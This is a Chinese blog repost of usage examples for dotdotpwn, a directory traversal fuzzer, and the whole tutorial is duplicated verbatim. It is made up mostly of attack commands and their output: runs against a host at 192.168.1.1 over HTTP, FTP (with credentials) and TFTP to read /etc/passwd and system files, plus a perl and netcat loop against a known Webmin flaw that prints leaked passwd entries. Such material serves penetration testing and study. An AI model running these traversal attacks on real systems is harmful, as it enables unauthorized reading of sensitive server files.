[译]dotdotpwn使用
生活随笔
收集整理的這篇文章主要介紹了
[译]dotdotpwn使用
小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
原文地址:https://github.com/wireghoul/dotdotpwn/blob/master/EXAMPLES.txt
[b]= HTTP Module[/b]
./dotdotpwn.pl -m http -h 192.168.1.1 -x 8080 -f /etc/hosts -k "localhost" -d 8 -t 200 -s
遍歷引擎將會(huì)用8層深度來(lái)創(chuàng)建fuzz模式字符串,然后dotdotpwn會(huì)每個(gè)5秒(-t)來(lái)發(fā)送一個(gè)請(qǐng)求到一個(gè)監(jiān)聽(tīng)在8080(-x)端口的web服務(wù)器(-m),該服務(wù)器的IP是192.168.1.1(-h)。除此以外,它將會(huì)嘗試獲得/etc/hosts文件來(lái)避免過(guò)濾,通過(guò)查找服務(wù)器響應(yīng)中的localhost關(guān)鍵字(-k)來(lái)進(jìn)行額外的檢查,如果找到,那么認(rèn)為含有漏洞。同時(shí),獲取web服務(wù)器的旗標(biāo)(-s)。dotdotpwn會(huì)把結(jié)果保存在報(bào)告文件夾中的192.168.1.1_<date>_<hour>文件里。
./dotdotpwn.pl -m http -h 192.168.1.1 -O -X -M POST -e .php -E
DotDotPwn會(huì)嘗試發(fā)現(xiàn)操作系統(tǒng)(-O),一旦發(fā)現(xiàn),遍歷引擎將會(huì)根據(jù)操作系統(tǒng)來(lái)創(chuàng)建fuzz模式。然后所有的http請(qǐng)求將會(huì)調(diào)整到指定的方法(-M POST)。在每個(gè)fuzz請(qǐng)求的結(jié)尾,將會(huì)追加.php后綴(-e)。-E告訴DotDotPwn尋找定義在TraversaEngine.pm文件中的@Extra_files(默認(rèn)為config.inc.php和web.config)最后我們開(kāi)啟Bisection算法(-X)來(lái)發(fā)現(xiàn)額外的深度漏洞,所以如果發(fā)現(xiàn)一個(gè)漏洞,這個(gè)算法將嘗試使用最小的深度來(lái)發(fā)現(xiàn)漏洞。
dotdotpwn會(huì)把結(jié)果保存在報(bào)告文件夾中的192.168.1.1_<date>_<hour>文件里。
[b]= HTTP URL Module[/b]
真實(shí)案例[url]http://www.securityfocus.com/bid/18744[/url]
./dotdotpwn.pl -m http-url -u http://192.168.1.1:10000/unauthenticated/TRAVERSAL -O -k "root:" -r webmin.txt
DotDotPwn將會(huì)嘗試發(fā)現(xiàn)運(yùn)行在192.168.1.1的操作系統(tǒng)(-O),一旦發(fā)現(xiàn),遍歷引擎將會(huì)根據(jù)發(fā)現(xiàn)的操作系統(tǒng)來(lái)創(chuàng)建fuzz模式。然后引擎將會(huì)用創(chuàng)建的遍歷模式替換url(-u)中的TRAVERSAL,然后向服務(wù)器的10000端口發(fā)送請(qǐng)求。最后為了避免過(guò)濾,檢查服務(wù)器響應(yīng)的額外關(guān)鍵字"root:",如果發(fā)現(xiàn)則存在漏洞。如果獲取的文件是/etc/passwd,那么可以基本確定"root:"關(guān)鍵字肯定在文件的開(kāi)頭。
dotdotpwn會(huì)把結(jié)果保存在報(bào)告文件夾中的192.168.1.1_<date>_<hour>文件里。
[b]= FTP Module[/b]
./dotdotpwn.pl -m ftp -h 192.168.1.1 -s -U nitr0us -P n1tr0u5pwnzj00 -o windows -q -r ftp_server.txt
首先DotDotPwn將會(huì)嘗試獲取ftp服務(wù)器(-m)的旗標(biāo)(-s),然后將會(huì)如果服務(wù)器不支持匿名登錄,那么嘗試使用指定的username(-U)和password(-P)來(lái)登錄服務(wù)器。
一旦通過(guò)認(rèn)證,它將會(huì)獲取Windows系統(tǒng)(-o)中常見(jiàn)文件,并保存在retrieved_files指定的位置。同樣,DotDotPwn不會(huì)輸出每次嘗試的詳細(xì)細(xì)節(jié),相反
它只會(huì)輸出每個(gè)發(fā)現(xiàn)的遍歷模式。
DotDotPwn會(huì)把結(jié)果保存在報(bào)告文件夾中的ftp_server.txt(-r)文件中
[b]= TFTP Module[/b]
./dotdotpwn.pl -m tftp -h 192.168.1.1 -b -t 1 -f windows/system32/drivers/etc/hosts
DotDotPwn會(huì)每隔一毫秒發(fā)送遍歷模式到192.168.1.1(-h)的TFTP服務(wù)器(-m),也就是說(shuō)盡可能的快速。然后當(dāng)它發(fā)現(xiàn)一個(gè)漏洞時(shí)立即停止fuzz測(cè)試(-b)。
fuzz測(cè)試將會(huì)針對(duì)windows/system32/drivers/etc/hosts(-f)這個(gè)文件。
dotdotpwn會(huì)把結(jié)果保存在報(bào)告文件夾中的192.168.1.1_<date>_<hour>文件里。
[b]= PAYLOAD Module
[/b]
真實(shí)案例 [url]http://www.securityfocus.com/bid/18744[/url]
./dotdotpwn.pl -m payload -h 192.168.1.1 -x 10000 -p payload_sample_1.txt -k "root:" -f /etc/passwd
[quote]payload_sample_1.txt (also included in this folder):
GET /unauthenticated/TRAVERSAL HTTP/1.0
[/quote]
遍歷引擎將會(huì)用遍歷模式替換payload文件(-p)中的TRAVERSAL,然后發(fā)送fuzzpayload到tcp監(jiān)聽(tīng)10000端口(-x)的服務(wù)器(本例中我們假設(shè)它是Webmin)。
它的ip是192.168.1.1(-h)。最后DotDotPwn將會(huì)查找服務(wù)器響應(yīng)中的"root:"關(guān)鍵字(-k),如果出現(xiàn),則認(rèn)為有漏洞。
如果要獲得的文件是/etc/passwd (-f),那么基本可以肯定"root:"關(guān)鍵字會(huì)出現(xiàn)在文件的開(kāi)頭。
dotdotpwn會(huì)把結(jié)果保存在報(bào)告文件夾中的192.168.1.1_<date>_<hour>文件里。
[b]= STDOUT Module[/b]
./dotdotpwn.pl -m stdout -d 5
遍歷引擎將會(huì)創(chuàng)建深度為8的fuzz模式,DotDotPwn將會(huì)把結(jié)果輸出到STDOUT中,所以你可以隨意使用,把遍歷模式作為參數(shù)傳遞給其他程序,管道,socket等。
所以,你可以模塊測(cè)試一切。包括客戶(hù)端軟件,文件格式fuzz,等等等等。
例如在你的腳步中使用STDOUT模塊
-把fuzz模式作為參數(shù)傳遞給/bin/file和lynx
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 4 -f /etc/passwd); do file $fuzz_pattern; done
../etc/passwd: cannot open `../etc/passwd' (No such file or directory)
../../etc/passwd: cannot open `../../etc/passwd' (No such file or directory)
../../../etc/passwd: ASCII text
../../../../etc/passwd: ASCII text
..\etc\passwd: cannot open `..\etc\passwd' (No such file or directory)
..\..\etc\passwd: cannot open `..\..\etc\passwd' (No such file or directory)
..\..\..\etc\passwd: cannot open `..\..\..\etc\passwd' (No such file or directory)
... and so on..
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 2 -f /etc/foobar | head -12); do lynx $fuzz_pattern; done
Can't Access `file://localhost/home/nitr0us/etc/foobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..\etc\foobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..\..\etc\foobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..%2fetc%2ffoobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..%2f..%2fetc%2ffoobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..%5cetc%5cfoobar'
Alert!: Unable to access document.
[b]一個(gè)使用模塊的真實(shí)例子[/b]
[url]http://www.securityfocus.com/bid/18744[/url]
首先把每個(gè)fuzz模式傳遞給perl來(lái)創(chuàng)建請(qǐng)求,然后通過(guò)管道,由netcat接收作為STDIN然后發(fā)送給192.168.1.1的10000端口。這樣可以看到Webmin的響應(yīng)(HTML代碼)
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 5 -f /etc/passwd); do perl -e " print \"GET /unauthenticated/$fuzz_pattern HTTP/1.0\r\n\r\n\";" | nc localhost 10000; done
然后過(guò)濾"root:"關(guān)鍵字,將會(huì)發(fā)現(xiàn)是否存在文件夾遍歷漏洞
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 5 -f /etc/passwd); do perl -e " print \"GET /unauthenticated/$fuzz_pattern HTTP/1.0\r\n\r\n\";" | nc localhost 10000; done | grep "root:"
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ VULNERABLE !!!!!!!!!!!!!!!!!!!!!!!!!
[b]= HTTP Module[/b]
./dotdotpwn.pl -m http -h 192.168.1.1 -x 8080 -f /etc/hosts -k "localhost" -d 8 -t 200 -s
遍歷引擎將會(huì)用8層深度來(lái)創(chuàng)建fuzz模式字符串,然后dotdotpwn會(huì)每個(gè)5秒(-t)來(lái)發(fā)送一個(gè)請(qǐng)求到一個(gè)監(jiān)聽(tīng)在8080(-x)端口的web服務(wù)器(-m),該服務(wù)器的IP是192.168.1.1(-h)。除此以外,它將會(huì)嘗試獲得/etc/hosts文件來(lái)避免過(guò)濾,通過(guò)查找服務(wù)器響應(yīng)中的localhost關(guān)鍵字(-k)來(lái)進(jìn)行額外的檢查,如果找到,那么認(rèn)為含有漏洞。同時(shí),獲取web服務(wù)器的旗標(biāo)(-s)。dotdotpwn會(huì)把結(jié)果保存在報(bào)告文件夾中的192.168.1.1_<date>_<hour>文件里。
./dotdotpwn.pl -m http -h 192.168.1.1 -O -X -M POST -e .php -E
DotDotPwn會(huì)嘗試發(fā)現(xiàn)操作系統(tǒng)(-O),一旦發(fā)現(xiàn),遍歷引擎將會(huì)根據(jù)操作系統(tǒng)來(lái)創(chuàng)建fuzz模式。然后所有的http請(qǐng)求將會(huì)調(diào)整到指定的方法(-M POST)。在每個(gè)fuzz請(qǐng)求的結(jié)尾,將會(huì)追加.php后綴(-e)。-E告訴DotDotPwn尋找定義在TraversaEngine.pm文件中的@Extra_files(默認(rèn)為config.inc.php和web.config)最后我們開(kāi)啟Bisection算法(-X)來(lái)發(fā)現(xiàn)額外的深度漏洞,所以如果發(fā)現(xiàn)一個(gè)漏洞,這個(gè)算法將嘗試使用最小的深度來(lái)發(fā)現(xiàn)漏洞。
dotdotpwn會(huì)把結(jié)果保存在報(bào)告文件夾中的192.168.1.1_<date>_<hour>文件里。
[b]= HTTP URL Module[/b]
真實(shí)案例[url]http://www.securityfocus.com/bid/18744[/url]
./dotdotpwn.pl -m http-url -u http://192.168.1.1:10000/unauthenticated/TRAVERSAL -O -k "root:" -r webmin.txt
DotDotPwn將會(huì)嘗試發(fā)現(xiàn)運(yùn)行在192.168.1.1的操作系統(tǒng)(-O),一旦發(fā)現(xiàn),遍歷引擎將會(huì)根據(jù)發(fā)現(xiàn)的操作系統(tǒng)來(lái)創(chuàng)建fuzz模式。然后引擎將會(huì)用創(chuàng)建的遍歷模式替換url(-u)中的TRAVERSAL,然后向服務(wù)器的10000端口發(fā)送請(qǐng)求。最后為了避免過(guò)濾,檢查服務(wù)器響應(yīng)的額外關(guān)鍵字"root:",如果發(fā)現(xiàn)則存在漏洞。如果獲取的文件是/etc/passwd,那么可以基本確定"root:"關(guān)鍵字肯定在文件的開(kāi)頭。
dotdotpwn會(huì)把結(jié)果保存在報(bào)告文件夾中的192.168.1.1_<date>_<hour>文件里。
[b]= FTP Module[/b]
./dotdotpwn.pl -m ftp -h 192.168.1.1 -s -U nitr0us -P n1tr0u5pwnzj00 -o windows -q -r ftp_server.txt
首先DotDotPwn將會(huì)嘗試獲取ftp服務(wù)器(-m)的旗標(biāo)(-s),然后將會(huì)如果服務(wù)器不支持匿名登錄,那么嘗試使用指定的username(-U)和password(-P)來(lái)登錄服務(wù)器。
一旦通過(guò)認(rèn)證,它將會(huì)獲取Windows系統(tǒng)(-o)中常見(jiàn)文件,并保存在retrieved_files指定的位置。同樣,DotDotPwn不會(huì)輸出每次嘗試的詳細(xì)細(xì)節(jié),相反
它只會(huì)輸出每個(gè)發(fā)現(xiàn)的遍歷模式。
DotDotPwn會(huì)把結(jié)果保存在報(bào)告文件夾中的ftp_server.txt(-r)文件中
[b]= TFTP Module[/b]
./dotdotpwn.pl -m tftp -h 192.168.1.1 -b -t 1 -f windows/system32/drivers/etc/hosts
DotDotPwn會(huì)每隔一毫秒發(fā)送遍歷模式到192.168.1.1(-h)的TFTP服務(wù)器(-m),也就是說(shuō)盡可能的快速。然后當(dāng)它發(fā)現(xiàn)一個(gè)漏洞時(shí)立即停止fuzz測(cè)試(-b)。
fuzz測(cè)試將會(huì)針對(duì)windows/system32/drivers/etc/hosts(-f)這個(gè)文件。
dotdotpwn會(huì)把結(jié)果保存在報(bào)告文件夾中的192.168.1.1_<date>_<hour>文件里。
[b]= PAYLOAD Module
[/b]
真實(shí)案例 [url]http://www.securityfocus.com/bid/18744[/url]
./dotdotpwn.pl -m payload -h 192.168.1.1 -x 10000 -p payload_sample_1.txt -k "root:" -f /etc/passwd
[quote]payload_sample_1.txt (also included in this folder):
GET /unauthenticated/TRAVERSAL HTTP/1.0
[/quote]
遍歷引擎將會(huì)用遍歷模式替換payload文件(-p)中的TRAVERSAL,然后發(fā)送fuzzpayload到tcp監(jiān)聽(tīng)10000端口(-x)的服務(wù)器(本例中我們假設(shè)它是Webmin)。
它的ip是192.168.1.1(-h)。最后DotDotPwn將會(huì)查找服務(wù)器響應(yīng)中的"root:"關(guān)鍵字(-k),如果出現(xiàn),則認(rèn)為有漏洞。
如果要獲得的文件是/etc/passwd (-f),那么基本可以肯定"root:"關(guān)鍵字會(huì)出現(xiàn)在文件的開(kāi)頭。
dotdotpwn會(huì)把結(jié)果保存在報(bào)告文件夾中的192.168.1.1_<date>_<hour>文件里。
[b]= STDOUT Module[/b]
./dotdotpwn.pl -m stdout -d 5
遍歷引擎將會(huì)創(chuàng)建深度為8的fuzz模式,DotDotPwn將會(huì)把結(jié)果輸出到STDOUT中,所以你可以隨意使用,把遍歷模式作為參數(shù)傳遞給其他程序,管道,socket等。
所以,你可以模塊測(cè)試一切。包括客戶(hù)端軟件,文件格式fuzz,等等等等。
例如在你的腳步中使用STDOUT模塊
-把fuzz模式作為參數(shù)傳遞給/bin/file和lynx
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 4 -f /etc/passwd); do file $fuzz_pattern; done
../etc/passwd: cannot open `../etc/passwd' (No such file or directory)
../../etc/passwd: cannot open `../../etc/passwd' (No such file or directory)
../../../etc/passwd: ASCII text
../../../../etc/passwd: ASCII text
..\etc\passwd: cannot open `..\etc\passwd' (No such file or directory)
..\..\etc\passwd: cannot open `..\..\etc\passwd' (No such file or directory)
..\..\..\etc\passwd: cannot open `..\..\..\etc\passwd' (No such file or directory)
... and so on..
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 2 -f /etc/foobar | head -12); do lynx $fuzz_pattern; done
Can't Access `file://localhost/home/nitr0us/etc/foobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..\etc\foobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..\..\etc\foobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..%2fetc%2ffoobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..%2f..%2fetc%2ffoobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..%5cetc%5cfoobar'
Alert!: Unable to access document.
[b]一個(gè)使用模塊的真實(shí)例子[/b]
[url]http://www.securityfocus.com/bid/18744[/url]
首先把每個(gè)fuzz模式傳遞給perl來(lái)創(chuàng)建請(qǐng)求,然后通過(guò)管道,由netcat接收作為STDIN然后發(fā)送給192.168.1.1的10000端口。這樣可以看到Webmin的響應(yīng)(HTML代碼)
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 5 -f /etc/passwd); do perl -e " print \"GET /unauthenticated/$fuzz_pattern HTTP/1.0\r\n\r\n\";" | nc localhost 10000; done
然后過(guò)濾"root:"關(guān)鍵字,將會(huì)發(fā)現(xiàn)是否存在文件夾遍歷漏洞
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 5 -f /etc/passwd); do perl -e " print \"GET /unauthenticated/$fuzz_pattern HTTP/1.0\r\n\r\n\";" | nc localhost 10000; done | grep "root:"
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ VULNERABLE !!!!!!!!!!!!!!!!!!!!!!!!!
總結(jié)
以上是生活随笔為你收集整理的[译]dotdotpwn使用的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: MobaXtem设置鼠标右击复制粘贴
- 下一篇: 【微信小程序】小程序原生代码生成海报